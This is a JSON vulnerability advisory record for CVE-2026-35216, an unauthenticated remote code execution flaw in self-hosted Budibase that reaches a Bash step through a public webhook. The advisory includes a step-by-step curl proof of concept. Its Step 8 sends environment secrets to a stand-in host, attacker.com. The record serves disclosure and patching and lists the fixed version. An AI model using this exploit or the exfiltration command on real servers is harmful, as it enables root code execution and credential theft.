{"id":"CVE-2026-35216","aliases":["GHSA-fcm4-4pj2-m5hf"],"url":"https://o3.security/vulnerability/CVE-2026-35216","summary":"Budibase: Unauthenticated Remote Code Execution via Webhook Trigger and Bash Automation Step","details":"### Summary\nAn unauthenticated attacker can achieve Remote Code Execution (RCE) on the Budibase server by triggering an automation that contains a Bash step via the public webhook endpoint. No authentication is required to trigger the exploit. The process executes as `root` inside the container.\n\n### Details\n\n**Vulnerable endpoint — `packages/server/src/api/routes/webhook.ts` line 13:**\n\n```typescript\n// this shouldn't have authorisation, right now its always public\npublicRoutes.post(\"/api/webhooks/trigger/:instance/:id\", controller.trigger)\n```\n\nThe webhook trigger endpoint is registered on `publicRoutes` with **no authentication\nmiddleware**. Any unauthenticated HTTP client can POST to this endpoint.\n\n**Vulnerable sink — `packages/server/src/automations/steps/bash.ts` lines 21–26:**\n\n```typescript\nconst command = processStringSync(inputs.code, context)\nstdout = execSync(command, { timeout: environment.QUERY_THREAD_TIMEOUT }).toString()\n```\n\nThe Bash automation step uses Handlebars template processing (`processStringSync`) on\n`inputs.code`, substituting values from the webhook request body into the shell command\nstring before passing it to `execSync()`.\n\n**Attack chain:**\n\n```\nHTTP POST /api/webhooks/trigger/{appId}/{webhookId}   ← NO AUTH\n        ↓\ncontroller.trigger()  [webhook.ts:90]\n        ↓\ntriggers.externalTrigger()\n        ↓ webhook fields flattened into automation context\nautomation.steps[EXECUTE_BASH].run()  [actions.ts:131]\n        ↓\nprocessStringSync(\"{{ trigger.cmd }}\", { cmd: \"ATTACKER_PAYLOAD\" })\n        ↓\nexecSync(\"ATTACKER_PAYLOAD\")                          ← RCE AS ROOT\n```\n\n**Precondition:** An admin must have created and published an automation containing:\n1. A Webhook trigger\n2. A Bash step whose `code` field uses a trigger field template (e.g., `{{ trigger.cmd }}`)\n\nThis is a legitimate and documented workflow. Such configurations may exist in\nproduction deployments for automation of server-side tasks.\n\n**Note on EXECUTE_BASH availability:** The bash step is only registered when\n`SELF_HOSTED=1` (`actions.ts` line 129), which applies to all self-hosted deployments:\n\n```typescript\n// packages/server/src/automations/actions.ts line 126-132\n// don't add the bash script/definitions unless in self host\nif (env.SELF_HOSTED) {\n  ACTION_IMPLS[\"EXECUTE_BASH\"] = bash.run\n  BUILTIN_ACTION_DEFINITIONS[\"EXECUTE_BASH\"] = automations.steps.bash.definition\n}\n```\n\n**Webhook context flattening** (why `{{ trigger.cmd }}` works):\n\nIn `packages/server/src/automations/triggers.ts` lines 229–239, for webhook automations\nthe `params.fields` are spread directly into the trigger context:\n\n```typescript\n// row actions and webhooks flatten the fields down\nelse if (sdk.automations.isWebhookAction(automation)) {\n  params = {\n    ...params,\n    ...params.fields,  // { cmd: \"PAYLOAD\" } becomes top-level\n    fields: {},\n  }\n}\n```\n\nThis means a webhook body `{\"cmd\": \"id\"}` becomes accessible as `{{ trigger.cmd }}`\nin the bash step template.\n\n### PoC\n\n#### Environment\n\n```\nTarget:  http://TARGET:10000   (any self-hosted Budibase instance)\nTester:  Any machine with curl\nAuth:    Admin credentials required for SETUP PHASE only\n         Zero auth required for EXPLOITATION PHASE\n```\n\n---\n\n#### PHASE 1 — Admin Setup (performed once by legitimate admin)\n\n> **Note:** This phase represents normal Budibase usage. Any admin who creates\n> a webhook automation with a bash step using template variables creates this exposure.\n\n**Step 1 — Authenticate as admin:**\n\n```bash\ncurl -c cookies.txt -X POST http://TARGET:10000/api/global/auth/default/login \\\n  -H \"Content-Type: application/json\" \\\n  -d '{\n    \"username\": \"admin@company.com\",\n    \"password\": \"adminpassword\"\n  }'\n\n# Expected response:\n# {\"message\":\"Login successful\"}\n```\n\n**Step 2 — Create an application:**\n\n```bash\ncurl -b cookies.txt -X POST http://TARGET:10000/api/applications \\\n  -H \"Content-Type: application/json\" \\\n  -d '{\n    \"name\": \"MyApp\",\n    \"useTemplate\": false,\n    \"url\": \"/myapp\"\n  }'\n\n# Note the appId from the response, e.g.:\n# \"appId\": \"app_dev_c999265f6f984e3aa986788723984cd5\"\n\nAPP_ID=\"app_dev_c999265f6f984e3aa986788723984cd5\"\n```\n\n**Step 3 — Create automation with Webhook trigger + Bash step:**\n\n```bash\ncurl -b cookies.txt -X POST http://TARGET:10000/api/automations/ \\\n  -H \"Content-Type: application/json\" \\\n  -H \"x-budibase-app-id: $APP_ID\" \\\n  -d '{\n    \"name\": \"WebhookBash\",\n    \"type\": \"automation\",\n    \"definition\": {\n      \"trigger\": {\n        \"id\": \"trigger_1\",\n        \"name\": \"Webhook\",\n        \"event\": \"app:webhook:trigger\",\n        \"stepId\": \"WEBHOOK\",\n        \"type\": \"TRIGGER\",\n        \"icon\": \"paper-plane-right\",\n        \"description\": \"Trigger an automation when a HTTP POST webhook is hit\",\n        \"tagline\": \"Webhook endpoint is hit\",\n        \"inputs\": {},\n        \"schema\": {\n          \"inputs\": { \"properties\": {} },\n          \"outputs\": {\n            \"properties\": { \"body\": { \"type\": \"object\" } }\n          }\n        }\n      },\n      \"steps\": [\n        {\n          \"id\": \"bash_step_1\",\n          \"name\": \"Bash Scripting\",\n          \"stepId\": \"EXECUTE_BASH\",\n          \"type\": \"ACTION\",\n          \"icon\": \"git-branch\",\n          \"description\": \"Run a bash script\",\n          \"tagline\": \"Execute a bash command\",\n          \"inputs\": {\n            \"code\": \"{{ trigger.cmd }}\"\n          },\n          \"schema\": {\n            \"inputs\": {\n              \"properties\": { \"code\": { \"type\": \"string\" } }\n            },\n            \"outputs\": {\n              \"properties\": {\n                \"stdout\": { \"type\": \"string\" },\n                \"success\": { \"type\": \"boolean\" }\n              }\n            }\n          }\n        }\n      ]\n    }\n  }'\n\n# Note the automation _id from response, e.g.:\n# \"automation\": { \"_id\": \"au_b713759f83f64efda067e17b65545fce\", ... }\n\nAUTO_ID=\"au_b713759f83f64efda067e17b65545fce\"\n```\n\n**Step 4 — Enable the automation** (new automations start as disabled):\n\n```bash\n# Fetch full automation JSON\nAUTO=$(curl -sb cookies.txt \"http://TARGET:10000/api/automations/$AUTO_ID\" \\\n  -H \"x-budibase-app-id: $APP_ID\")\n\n# Set disabled: false and PUT it back\nUPDATED=$(echo \"$AUTO\" | python3 -c \"\nimport sys, json\nd = json.load(sys.stdin)\nd['disabled'] = False\nprint(json.dumps(d))\n\")\n\ncurl -b cookies.txt -X PUT http://TARGET:10000/api/automations/ \\\n  -H \"Content-Type: application/json\" \\\n  -H \"x-budibase-app-id: $APP_ID\" \\\n  -d \"$UPDATED\"\n```\n\n**Step 5 — Create webhook linked to the automation:**\n\n```bash\ncurl -b cookies.txt -X PUT \"http://TARGET:10000/api/webhooks/\" \\\n  -H \"Content-Type: application/json\" \\\n  -H \"x-budibase-app-id: $APP_ID\" \\\n  -d \"{\n    \\\"name\\\": \\\"MyWebhook\\\",\n    \\\"action\\\": {\n      \\\"type\\\": \\\"automation\\\",\n      \\\"target\\\": \\\"$AUTO_ID\\\"\n    }\n  }\"\n\n# Note the webhook _id from response, e.g.:\n# \"webhook\": { \"_id\": \"wh_f811a038ed024da78b44619353d4af2b\", ... }\n\nWEBHOOK_ID=\"wh_f811a038ed024da78b44619353d4af2b\"\n```\n\n**Step 6 — Publish the app to production:**\n\n```bash\ncurl -b cookies.txt -X POST \"http://TARGET:10000/api/applications/$APP_ID/publish\" \\\n  -H \"x-budibase-app-id: $APP_ID\"\n\n# Expected: {\"status\":\"SUCCESS\",\"appUrl\":\"/myapp\"}\n\n# Production App ID = strip \"dev_\" from dev ID:\n# app_dev_c999265f... → app_c999265f...\nPROD_APP_ID=\"app_c999265f6f984e3aa986788723984cd5\"\n```\n\n---\n\n#### PHASE 2 — Exploitation (ZERO AUTHENTICATION REQUIRED)\n\nThe attacker only needs the production `app_id` and `webhook_id`.\nThese can be obtained via:\n- Enumeration of the Budibase web UI (app URLs are semi-public)\n- Leaked configuration files or environment variables\n- Insider knowledge or social engineering\n\n**Step 7 — Basic RCE — whoami/id:**\n\n```bash\nPROD_APP_ID=\"app_c999265f6f984e3aa986788723984cd5\"\nWEBHOOK_ID=\"wh_f811a038ed024da78b44619353d4af2b\"\nTARGET=\"http://TARGET:10000\"\n\n# NO cookies. NO API key. NO auth headers. Pure unauthenticated request.\ncurl -X POST \"$TARGET/api/webhooks/trigger/$PROD_APP_ID/$WEBHOOK_ID\" \\\n  -H \"Content-Type: application/json\" \\\n  -d '{\"cmd\":\"id\"}'\n\n# HTTP Response (immediate):\n# {\"message\":\"Webhook trigger fired successfully\"}\n\n# Command executes asynchronously inside container as root.\n# Output confirmed via container inspection or exfiltration.\n```\n\n**Step 8 — Exfiltrate all secrets:**\n\n```bash\ncurl -X POST \"$TARGET/api/webhooks/trigger/$PROD_APP_ID/$WEBHOOK_ID\" \\\n  -H \"Content-Type: application/json\" \\\n  -d '{\"cmd\":\"env | grep -E \\\"JWT|SECRET|PASSWORD|KEY|COUCH|REDIS|MINIO\\\" | curl -s -X POST https://attacker.com/collect -d @-\"}'\n```\n\nConfirmed secrets leaked (no auth):\n```\nJWT_SECRET=testsecret\nAPI_ENCRYPTION_KEY=testsecret\nCOUCH_DB_URL=http://budibase:budibase@couchdb-service:5984\nREDIS_PASSWORD=budibase\nREDIS_URL=redis-service:6379\nMINIO_ACCESS_KEY=budibase\nMINIO_SECRET_KEY=budibase\nINTERNAL_API_KEY=budibase\nLITELLM_MASTER_KEY=budibase\n```\n\n### Impact\n- **Who is affected:** All self-hosted Budibase deployments (`SELF_HOSTED=1`) where\n  any admin has created an automation with a Bash step that uses webhook trigger field\n  templates. This is a standard, documented workflow.\n\n- **What can an attacker do:**\n  - Execute arbitrary OS commands as `root` inside the application container\n  - Exfiltrate all secrets: JWT secret, database credentials, API keys, MinIO keys\n  - Pivot to internal services (CouchDB, Redis, MinIO) unreachable from the internet\n  - Establish reverse shells and persistent access\n  - Read/write/delete all application data via CouchDB access\n  - Forge JWT tokens using the leaked `JWT_SECRET` to impersonate any user\n  - Potentially escape the container if `--privileged` or volume mounts are used\n\n- **Authentication required:** **None** — completely unauthenticated\n- **User interaction required:** **None**\n- **Network access required:** Only access to port 10000 (the Budibase proxy port)\n\n\n\nDiscovered By:\nAbdulrahman Albatel\nAbdullah Alrasheed","published":"2026-04-03T15:45:40.091Z","modified":"2026-08-12T03:51:49.183537371Z","cvss":{"score":9,"severity":"CRITICAL","vector":"CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:C/C:H/I:H/A:H"},"epss":null,"cisaKev":null,"exploitsKnown":0,"affectedPackages":[{"ecosystem":"npm","name":"@budibase/server","fixedVersion":"3.33.4"}],"fix":{"url":"https://github.com/Budibase/budibase/commit/f0c731b409a96e401445a6a6030d2994ff4ac256","label":"Budibase/budibase@f0c731b"},"references":[{"type":"WEB","url":"https://github.com/Budibase/budibase/releases/tag/3.33.4"},{"type":"ADVISORY","url":"https://github.com/Budibase/budibase/security/advisories/GHSA-fcm4-4pj2-m5hf"},{"type":"ADVISORY","url":"https://github.com/CVEProject/cvelistV5/tree/main/cves/2026/35xxx/CVE-2026-35216.json"},{"type":"ADVISORY","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-35216"},{"type":"FIX","url":"https://github.com/Budibase/budibase/commit/f0c731b409a96e401445a6a6030d2994ff4ac256"},{"type":"FIX","url":"https://github.com/Budibase/budibase/pull/18238"},{"type":"PACKAGE","url":"https://github.com/Budibase/budibase"}],"provenance":{"sources":["OSV.dev","FIRST.org (EPSS)"],"lastVerified":"2026-08-12T03:51:49.183537371Z"}}